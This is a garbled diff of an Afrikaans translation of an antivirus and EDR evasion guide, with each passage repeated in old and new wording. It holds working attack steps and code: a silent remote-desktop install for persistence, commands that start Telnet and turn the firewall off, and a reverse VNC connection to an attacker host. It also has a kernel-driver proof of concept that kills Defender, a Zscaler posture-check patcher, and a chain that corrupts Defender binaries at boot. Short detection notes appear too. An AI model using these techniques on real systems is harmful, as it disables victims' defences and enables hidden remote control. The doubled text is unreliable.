Dit behels die **skep van 'n nuwe offerproses**, die inspuiting van jou post-exploitation kwaadwillige kode in daardie nuwe proses, die uitvoering van jou kwaadwillige kode en wanneer dit klaar is, die beëindiging van die nuwe proses. Dit het sowel voordele as nadele. Die voordeel van die fork-and-run metode is dat uitvoering plaasvind **buite** ons Beacon implant-proses. Dit beteken dat as iets in ons post-exploitation aksie verkeerd loop of gevang word, daar 'n **veel groter kans** is dat ons **implant oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Behavioural Detections** gevang te word.
Dit behels die **spawning van 'n nuwe offerproses**, inbedding van jou post-exploitation kwaadwillige kode in daardie nuwe proses, die uitvoering van jou kwaadaardige kode en, wanneer klaar, die nuwe proses te beëindig. Dit het beide voordele en nadele. Die voordeel van die fork-and-run metode is dat uitvoering buite ons Beacon implant proses plaasvind. Dit beteken dat as iets by ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implant oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Behavioural Detections** gevang te word.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Dit gaan oor die inspuiting van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep wat deur AV gescan word, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is dat jy jou **beacon verloor** aangesien dit kan crash.
Dit gaan oor die inbedding van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep wat deur AV geskan word, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **groter kans** is om jou **beacon te verloor** aangesien dit kan crash.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> As jy meer wil lees oor C# Assembly loading, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> As jy meer wil lees oor C# Assembly loading, kyk gerus na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Jy kan ook C# Assemblies **from PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Jy kan ook C# Assemblies **from PowerShell** laai; kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Using Other Programming Languages
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om kwaadwillige kode in ander tale uit te voer deur die gekompromitteerde masjien toegang te gee **to the interpreter environment installed on the Attacker Controlled SMB share**.
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om kwaadwillige kode in ander tale uit te voer deur die gekompromitteerde masjien toegang te gee tot die interpreter-omgewing wat op die Attacker Controlled SMB share geïnstalleer is.
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB share toe te laat, kan jy **execute arbitrary code in these languages within memory** van die gekompromitteerde masjien.
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB share toe te laat, kan jy **arbitrêre kode in hierdie tale binne die geheue** van die gekompromitteerde masjien uitvoer.
Die repo dui aan: Defender scan nog steeds die skripte maar deur Go, Java, PHP ensovoorts te gebruik het ons **meer buigbaarheid om static signatures te omseil**. Toetsing met lukrake on-obfuscated reverse shell skripte in hierdie tale het sukses bewys.
Die repo dui aan: Defender scan steeds die skripte, maar deur Go, Java, PHP ens. te gebruik het ons **meer buigbaarheid om statiese signatures te omseil**. Toetse met ewekansige on-geobfuskate reverse shell skripte in hierdie tale het sukses getoon.
## TokenStomping
Token stomping is 'n tegniek wat 'n aanvaller toelaat om **die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te manipuleer**, wat hulle in staat stel om die privilegies te verlaag sodat die proses nie sterf nie maar nie die regte permissies het om na kwaadwilligheid te kyk nie.
Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te **manipuleer**, sodat hulle die privilegies kan verminder; die proses sal nie sterf nie, maar sal nie die permisies hê om na kwaadwillige aktiwiteite te kyk nie.
Om dit te voorkom, kan Windows **voorkom dat eksterne prosesse** handvatsels oor die tokens van sekuriteitsprosesse kry.
Om dit te voorkom, kan Windows **verhoed dat eksterne prosesse** handvatsels oor die tokens van sekuriteitsprosesse kry.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -441,42 +443,42 @@ Om dit te voorkom, kan Windows **voorkom dat eksterne prosesse** handvatsels oor
### Chrome Remote Desktop
Soos beskryf in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), is dit maklik om net Chrome Remote Desktop op 'n slagoffer se rekenaar te installeer en dit dan te gebruik om dit oor te neem en persistentie te behou:
Soos beskryf in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), is dit maklik om net Chrome Remote Desktop op 'n slagoffer se rekenaar te ontplooi en dit te gebruik om dit oor te neem en persistensie te behou:
1. Download vanaf https://remotedesktop.google.com/, klik op "Set up via SSH", en klik dan op die MSI-lêer vir Windows om die MSI-lêer af te laai.
2. Voer die installer stil in die slagoffer uit (administrateur vereis): `msiexec /i chromeremotedesktophost.msi /qn`
3. Gaan terug na die Chrome Remote Desktop bladsy en klik next. Die wizard sal jou dan vra om te magtig; klik die Authorize knoppie om voort te gaan.
4. Voer die gegewe parameter met 'n paar aanpassings uit: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Let op die pin-parameter wat toelaat om die pin sonder die GUI te stel).
2. Run die installer stil in die slagoffer (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
3. Gaan terug na die Chrome Remote Desktop bladsy en klik next. Die wizard sal jou dan vra om te authorize; klik die Authorize knoppie om voort te gaan.
4. Execute die gegewe parameter met 'n paar aanpassings: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Let op die pin parameter wat toelaat om die pin te stel sonder om die GUI te gebruik).
## Advanced Evasion
Evasie is 'n baie ingewikkelde onderwerp; soms moet jy baie verskillende bronne van telemetrie op een stelsel in ag neem, so dit is byna onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
Evasion is 'n baie ingewikkelde onderwerp; soms moet jy baie verskillende bronne van telemetrie in een stelsel in ag neem, so dit is praktisch onmoontlik om volkome onopgemerk te bly in volwasse omgewings.
Elke omgewing wat jy teëkom sal sy eie sterk- en swakpunte hê.
Elke omgewing wat jy teëkom sal sy eie sterktes en swakhede hê.
Ek beveel sterk aan dat jy hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) kyk om 'n voetegrond te kry in meer Advanced Evasion tegnieke.
Ek moedig jou sterk aan om hierdie talk van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voete in meer Advanced Evasion tegnieke te kry.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Hier is ook nog 'n goeie praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Evasion in Depth.
Hier is ook nog 'n baie goeie talk van [@mariuszbit](https://twitter.com/mariuszbit) oor Evasion in Depth.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Oude Tegnieke**
## **Old Techniques**
### **Check which parts Defender finds as malicious**
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat sal **verwyder dele van die binary** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit vir jou opsplit.\
Nog 'n instrument wat dieselfde doen is [**avred**](https://github.com/dobin/avred) met 'n oop webdiens wat die diens aanbied by [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat dele van die binary **verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig beskou en dit aan jou uiteensit.\
Nog 'n hulpmiddel wat dieselfde doen is [**avred**](https://github.com/dobin/avred) met 'n oop webdiens by [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
Tot Windows10 het alle Windows 'n **Telnet server** meegekom wat jy kon installeer (as administrateur) deur:
Tot en met Windows10 het alle Windows weergawes 'n **Telnet server** meegebring wat jy as administrateur kon installeer deur:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -484,31 +486,31 @@ Laat dit **begin** wanneer die stelsel begin en **voer** dit nou uit:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Verander telnet-poort** (stealth) en deaktiveer firewall:
**Verander telnet port** (stealth) en skakel firewall af:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Laai dit af vanaf: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
Laai dit af vanaf: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (jy wil die bin downloads hê, nie die setup nie)
**ON THE HOST**: Voer _**winvnc.exe**_ uit en stel die bediener op:
**ON THE HOST**: Execute _**winvnc.exe**_ en konfigureer die server:
- Skakel die opsie _Disable TrayIcon_ aan
- Skakel die opsie _Disable TrayIcon_ in
- Stel 'n wagwoord in by _VNC Password_
- Stel 'n wagwoord in by _View-Only Password_
Skuif dan die binary _**winvnc.exe**_ en die nuut geskepte lêer _**UltraVNC.ini**_ na die **victim**
Skuif dan die binêre _**winvnc.exe**_ en die **nuut geskepte** lêer _**UltraVNC.ini**_ na die **victim**
#### **Reverse connection**
Die **attacker** moet op sy **host** die binary `vncviewer.exe -listen 5900` uitvoer sodat dit voorberei is om 'n reverse **VNC connection** te vang. Dan, binne die **victim**: Begin die winvnc daemon `winvnc.exe -run` en voer `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` uit
Die **attacker** moet op sy **host** die binêre `vncviewer.exe -listen 5900` uitvoer, sodat dit gereed is om 'n omgekeerde **VNC connection** op te vang. Dan, op die **victim**: Begin die winvnc-demon `winvnc.exe -run` en voer `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` uit
**WAARSKUWING:** Om stealth te behou moet jy 'n paar dinge nie doen nie
**WAARSKUWING:** Om stealth te behou, moet jy nie die volgende doen nie
- Moet nie `winvnc` begin as dit reeds loop nie, anders sal jy 'n [popup](https://i.imgur.com/1SROTTl.png) veroorsaak. Kontroleer of dit loop met `tasklist | findstr winvnc`
- Moet nie `winvnc` begin sonder `UltraVNC.ini` in dieselfde gids nie, anders sal dit [die config window](https://i.imgur.com/rfMQWcf.png) oopmaak
- Moet nie `winvnc` begin as dit reeds loop nie of jy sal 'n [popup](https://i.imgur.com/1SROTTl.png) aktiveer. Kontroleer of dit loop met `tasklist | findstr winvnc`
- Moet nie `winvnc` sonder `UltraVNC.ini` in dieselfde gids begin nie, anders sal dit [die config window](https://i.imgur.com/rfMQWcf.png) oopmaak
- Moet nie `winvnc -h` vir hulp uitvoer nie, anders sal jy 'n [popup](https://i.imgur.com/oc18wcu.png) veroorsaak
### GreatSCT
@ -535,7 +537,7 @@ Nou **begin die lister** met `msfconsole -r file.rc` en **voer** die **xml paylo
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Die huidige defender sal die proses baie vinnig beëindig.**
**Huidige Defender sal die proses baie vinnig beëindig.**
### Kompileer ons eie reverse shell
@ -624,7 +626,7 @@ catch (Exception err) { }
}
}
```
### C# using kompiler
### C# wat die compiler gebruik
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -659,7 +661,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Gebruik python vir 'n voorbeeld van build injectors:
### Gebruik python vir 'n voorbeeld om injectors te bou:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -692,26 +694,26 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) – Deaktiveer AV/EDR vanaf kernel-ruimte
## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR vanaf kernruimte uitskakel
Storm-2603 het 'n klein konsole-hulpmiddel, bekend as **Antivirus Terminator**, benut om endpoint-beskerming te deaktiveer voordat ransomware geplaas is. Die hulpmiddel bring sy **eie kwesbare maar *signed* driver** en misbruik dit om voorregte kernel-operasies uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.
Storm-2603 het 'n klein konsole-hulpmiddel genaamd **Antivirus Terminator** benut om endpoint-beskerming uit te skakel voordat ransomware neergelaai is. Die instrument bring sy **eie kwesbare maar *ondertekende* driver** en misbruik dit om bevoorregte kernel-bewerkings uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.
Belangrike punte
1. **Ondertekende driver**: Die lêer wat na skyf afgelewer word is `ServiceMouse.sys`, maar die binêr is die wettig ondertekende driver `AToolsKrnl64.sys` van Antiy Labs se “System In-Depth Analysis Toolkit”. Omdat die driver 'n geldige Microsoft-handtekening dra, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) aangeskakel is.
2. **Bedienerinstallasie**:
Key take-aways
1. **Signed driver**: Die lêer wat na skyf afgelewer is, is `ServiceMouse.sys`, maar die binêr is die wettig ondertekende driver `AToolsKrnl64.sys` van Antiy Labs’ “System In-Depth Analysis Toolkit”. Omdat die driver 'n geldige Microsoft-handtekening dra, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) geaktiveer is.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
Die eerste reël registreer die driver as 'n **kernel service** en die tweede begin dit sodat `\\.\ServiceMouse` vanaf user land toeganklik word.
3. **IOCTLs wat deur die driver blootgestel word**
| IOCTL code | Funksie |
Die eerste lyn registreer die driver as 'n **kernel service** en die tweede begin dit sodat `\\.\ServiceMouse` vanaf user land toeganklik word.
3. IOCTLs blootgestel deur die driver
| IOCTL code | Bekwaamheid |
|-----------:|-----------------------------------------|
| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
| `0x990000D0` | Delete an arbitrary file on disk |
| `0x990001D0` | Unload the driver and remove the service |
| `0x99000050` | Beeïndig 'n ewekansige proses per PID (gebruik om Defender/EDR-dienste te beëindig) |
| `0x990000D0` | Verwyder 'n ewekansige lêer op skyf |
| `0x990001D0` | Ontlaai die driver en verwyder die diens |
Minimale C bewys-van-konsep:
Minimal C proof-of-concept:
```c
#include <windows.h>
@ -723,30 +725,30 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Waarom dit werk**: BYOVD slaan user-mode beskerming heeltemal oor; kode wat in die kernel uitgevoer word kan *protected* prosesse open, hulle termineeer, of met kernel-objekte knoei ongeag PPL/PP, ELAM of ander verhardingsfunksies.
4. **Why it works**: BYOVD slaan gebruikersmodus-beskerming heeltemal oor; kode wat in die kernel uitgevoer word, kan *protected* prosesse oopmaak, hulle beëindig, of met kernel-objekte knoei ongeag PPL/PP, ELAM of ander verhardingsfunksies.
Opsporing / Mitigering
• Skakel Microsoft se vulnerable-driver bloklys in (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai.
• Monitor skeppings van nuwe *kernel* services en gee waarskuwing wanneer 'n driver van 'n world-writable gids gelaai word of nie op die allow-list is nie.
• Hou oog vir user-mode handles na custom device objects gevolg deur verdagte `DeviceIoControl` oproepe.
Detection / Mitigation
• Aktiveer Microsoft se bloklys vir kwesbare drivers (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai.
• Moniteer die skep van nuwe *kernel* dienste en waarsku wanneer 'n driver vanaf 'n gids wat vir alle gebruikers skryfbaar is gelaai word of nie op die allow-list voorkom nie.
• Let op gebruikersmodus-handvatsels na pasgemaakte toestelobjekte wat gevolg word deur verdagte `DeviceIoControl`-oproepe.
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
### Omseiling van Zscaler Client Connector se Posture Checks deur On-Disk Binary Patching
Zscaler se **Client Connector** pas device-posture-reëls lokaal toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerp-keuses maak 'n volledige omseiling moontlik:
Zscaler se **Client Connector** pas toestel-houdingsreëls plaaslik toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerpkeuses maak 'n volledige omseiling moontlik:
1. Posture-evaluasie gebeur **heeltemal client-side** (n boolean word na die bediener gestuur).
2. Interne RPC-endpoints valideer slegs dat die verbindende uitvoerbare lêer **signed by Zscaler** is (via `WinVerifyTrust`).
1. Posture-evaluasie gebeur **heeltemal kliëntkantig** (n boolean word na die bediener gestuur).
2. Interne RPC-endpunte valideer slegs dat die verbindende uitvoerbare lêer **signed by Zscaler** is (via `WinVerifyTrust`).
Deur vier signed binaries op skyf te patch kan albei meganismes geneutraliseer word:
Deur vier ondertekende binêre lêers op skyf te patch, kan beide meganismes geneutraliseer word:
| Binary | Oorspronklike logika gepatch | Resultaat |
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gee altyd `1` so elke kontrole is compliant |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ any (even unsigned) process can bind to the RPC pipes |
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gee altyd `1` terug sodat elke kontrole as voldoenend beskou word |
| `ZSAService.exe` | Indirekte oproep na `WinVerifyTrust` | NOP-ed ⇒ enige (selfs ongehandtekende) proses kan aan die RPC-pype bind |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Vervang deur `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited |
| `ZSATunnel.exe` | Integriteitskontroles op die tunnel | Kortgesluit |
Minimale patcher-uittreksel:
Minimal patcher excerpt:
```python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
@ -762,29 +764,29 @@ f.write(replacement)
```
Nadat die oorspronklike lêers vervang is en die diensstapel herbegin is:
* **Al** houdingskontroles vertoon **groen/ooreenstemmend**.
* Ongeteken of gewysigde binaries kan die named-pipe RPC-eindpunte oopmaak (bv. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Die gekompromitteerde gasheer verkry onbeperkte toegang tot die interne netwerk soos deur die Zscaler-beleide gedefinieer.
* **Alle** postuurkontroles wys **groen/kompatibel**.
* Ongetekende of gemodifiseerde binaries kan die named-pipe RPC-eindpunte oopmaak (bv. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Die gekompromitteerde gasheer kry onbeperkte toegang tot die interne netwerk soos gedefinieer deur die Zscaler-beleid.
Hierdie gevallestudie demonstreer hoe suiwer kliëntkant-vertroubesluite en eenvoudige handtekeningkontroles met 'n paar byte-wysigings verslaan kan word.
Hierdie gevallestudie demonstreer hoe suiwer kliëntkant-vertrouensbesluite en eenvoudige handtekeningkontroles met 'n paar byte-wysigings omseil kan word.
## Misbruik van Protected Process Light (PPL) om AV/EDR met LOLBINs te manipuleer
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) afdwing 'n ondertekenaar-/vlakhiërargie sodat slegs gelyk-of-hoër beskermde prosesse mekaar kan manipuleer. Offensief: as jy 'n PPL-enabled binary wettiglik kan loods en die argumente beheer, kan jy onskuldige funksionaliteit (bv. logging) omskakel in 'n beperkte, deur PPL-ondersteunde write primitive teen beskermde gidse wat deur AV/EDR gebruik word.
Protected Process Light (PPL) handhaaf 'n ondertekenaar/vlak-hiërargie sodat slegs beskermde prosesse met gelyke of hoër vlakke mekaar kan manipuleer. Aanvallend gesproke, as jy 'n wettige PPL-geaktiveerde binary kan begin en sy argumente beheer, kan jy onskuldige funksionaliteit (bv. logging) omskep in 'n beperkte, PPL-ondersteunde skryf-primitive teenoor beskermde gidse wat deur AV/EDR gebruik word.
Wat veroorsaak dat 'n proses as PPL uitgevoer word
Wat veroorsaak dat 'n proses as PPL loop
- Die teiken EXE (en enige gelaaide DLLs) moet geteken wees met 'n PPL-geskikte EKU.
- Die proses moet geskep word met CreateProcess met die vlae: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- 'n Kompatibele beskermingsvlak moet versoek word wat by die ondertekenaar van die binary pas (bv. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` vir anti-malware-ondertekenaars, `PROTECTION_LEVEL_WINDOWS` vir Windows-ondertekenaars). Verkeerde vlakke sal by skepping misluk.
- 'n Verenigbare beskermingsvlak moet versoek word wat ooreenstem met die ondertekenaar van die binary (bv. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` vir anti-malware-ondertekenaars, `PROTECTION_LEVEL_WINDOWS` vir Windows-ondertekenaars). Verkeerde vlakke sal by skepping misluk.
Sien ook 'n breër inleiding tot PP/PPL en LSASS-beskerming hier:
See also a broader intro to PP/PPL and LSASS protection here:
{{#ref}}
stealing-credentials/credentials-protections.md
{{#endref}}
Launcher tooling
- Open-source helper: CreateProcessAsPPL (kies beskermingsvlak en stuur argumente deur na die teiken EXE):
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Gebruikspatroon:
```text
@ -794,51 +796,51 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitief: ClipUp.exe
- Die gesigneerde stelsel-binaire `C:\Windows\System32\ClipUp.exe` begin 'n nuwe proses van homself en aanvaar 'n parameter om 'n loglêer na 'n deur die oproeper-gespesifiseerde pad te skryf.
- Wanneer as 'n PPL-proses gelanseer, vind die lêerskryf plaas met PPL-beskerming.
- ClipUp kan nie paaie met spasies ontleed nie; gebruik 8.3 kortpaaie om na normaalweg beskermde plekke te wys.
LOLBIN-primitief: ClipUp.exe
- Die gesigneerde stelsel-binarie `C:\Windows\System32\ClipUp.exe` maak 'n nuwe proses van homself en aanvaar 'n parameter om 'n loglêer na 'n deur die roeper-gespesifiseerde pad te skryf.
- Wanneer dit as 'n PPL-proses begin word, vind die lêerskryf plaas met PPL-ondersteuning.
- ClipUp kan nie paadjies met spasies ontleed nie; gebruik 8.3 kortpaadjies om na normaalweg beskermde plekke te wys.
8.3 short path helpers
- Lys kortname: `dir /x` in elke ouer-gids.
- Ontleed kortpad in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
8.3 kortpaadjie-hulpmiddels
- Lys kortname: `dir /x` in elke ouermap.
- Bepaal kortpad in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (bv. CreateProcessAsPPL).
2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (bv. Defender Platform). Use 8.3 short names if needed.
3) If the target binary is normally open/locked by the AV while running (bv. MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
Misbruikketting (abstrak)
1) Begin die PPL-geskikte LOLBIN (ClipUp) met `CREATE_PROTECTED_PROCESS` deur 'n launcher te gebruik (bv. CreateProcessAsPPL).
2) Gee die ClipUp log-pad-argument om 'n lêerskepping in 'n beskermde AV-gids te dwing (bv. Defender Platform). Gebruik 8.3 kortname indien nodig.
3) As die teiken-binarie normaalweg deur die AV oop/gesluit is terwyl dit loop (bv. MsMpEng.exe), skeduleer die skryf by opstart voordat die AV begin deur 'n auto-start service te installeer wat betroubaar vroeër loop. Valideer die opstartvolgorde met Process Monitor (boot logging).
4) By heropstart vind die PPL-ondersteunde skryf plaas voordat die AV sy binarieë sluit, wat die teikenlêer korrupteer en die opstart verhoed.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Aantekeninge en beperkings
- Jy kan nie die inhoud wat ClipUp skryf beheer behalwe die plasing nie; die primitief is geskik vir korrupsie eerder as vir presiese inhoudsinspuiting.
- Vereis local admin/SYSTEM om 'n diens te installeer/start en 'n herlaai-venster.
- Tydsberekening is kritiek: die teiken mag nie oop wees nie; uitvoering by opstart vermy file locks.
Notes and constraints
- Jy kan nie die inhoud wat `ClipUp` skryf beheer nie, behalwe vir die plasing; die primitief is meer geskik vir korrupsie as vir presiese inhoudsinspuiting.
- Vereis plaaslike admin/SYSTEM om 'n diens te installeer/te begin en 'n herlaai-venster.
- Tydsberekening is kritiek: die teiken mag nie oop wees nie; uitvoering tydens opstart vermy lêerlocke.
Opsporing
- Proses skepping van `ClipUp.exe` met ongewone argumente, veral geparent deur nie-standaard launchers, rondom opstart.
- Nuwe dienste gekonfigureer om verdagte binaries outomaties te begin en wat konsekwent voor Defender/AV begin. Ondersoek diensskepping/modifikasie voorafgaande aan Defender-opstartfoute.
- Lêerintegriteitsmonitering op Defender-binaries/Platform-gidse; onverwagte lêerskeppings/modifikasies deur prosesse met protected-process-vlagte.
- ETW/EDR telemetry: kyk vir prosesse geskep met `CREATE_PROTECTED_PROCESS` en abnormale PPL-vlakgebruik deur nie-AV binaries.
Detections
- Proses-skepping van `ClipUp.exe` met ongewone argumente, veral waar die ouerproses 'n nie-standaard opstarter is, rondom opstart.
- Nuwe dienste wat gekonfigureer is om verdagte binaries outomaties te begin en wat konsekwent voor Defender/AV begin. Ondersoek diens-skepping/modifikasie wat voor Defender se opstartfoute plaasgevind het.
- Lêer-integriteitsmonitering op Defender-binaries/Platform-gidse; onverwagte lêerskeppings/modifikasies deur prosesse met protected-process flags.
- ETW/EDR telemetrie: kyk vir prosesse geskep met `CREATE_PROTECTED_PROCESS` en abnormale PPL-vlak gebruik deur nie-AV binaries.
Teenmaatreëls
- WDAC/Code Integrity: beperk watter gesigneerde binaries as PPL mag loop en onder watter ouers; blokkeer ClipUp-oproep buite geldige konteks.
- Dienshigiëne: beperk skepping/modifikasie van auto-start dienste en monitor manipulasie van opstartorde.
- Maak seker Defender tamper protection en early-launch protections is aangeskakel; ondersoek opstartfoute wat op binary-korrupsie dui.
- Oorweeg om 8.3 short-name generation op volumes wat security tooling huisves uit te skakel indien versoenbaar met jou omgewing (toets deeglik).
Mitigations
- WDAC/Code Integrity: beperk watter gesigneerde binaries as PPL mag hardloop en onder watter ouerprosesse; blokkeer ClipUp-aanroep buite geldige kontekste.
- Diens-higiëne: beperk skepping/modifikasie van outo-start dienste en monitor manipulasie van opstartvolgorde.
- Verseker dat Defender tamper protection en early-launch protections geaktiveer is; ondersoek opstartfoute wat op binêre korrupsie dui.
- Oorweeg om 8.3 short-name generering op volumes wat security tooling huisves te deaktiveer indien dit versoenbaar is met jou omgewing (toets deeglik).
Verwysings vir PPL en gereedskap
- Microsoft Protected Processes oorsig: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU verwysing: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
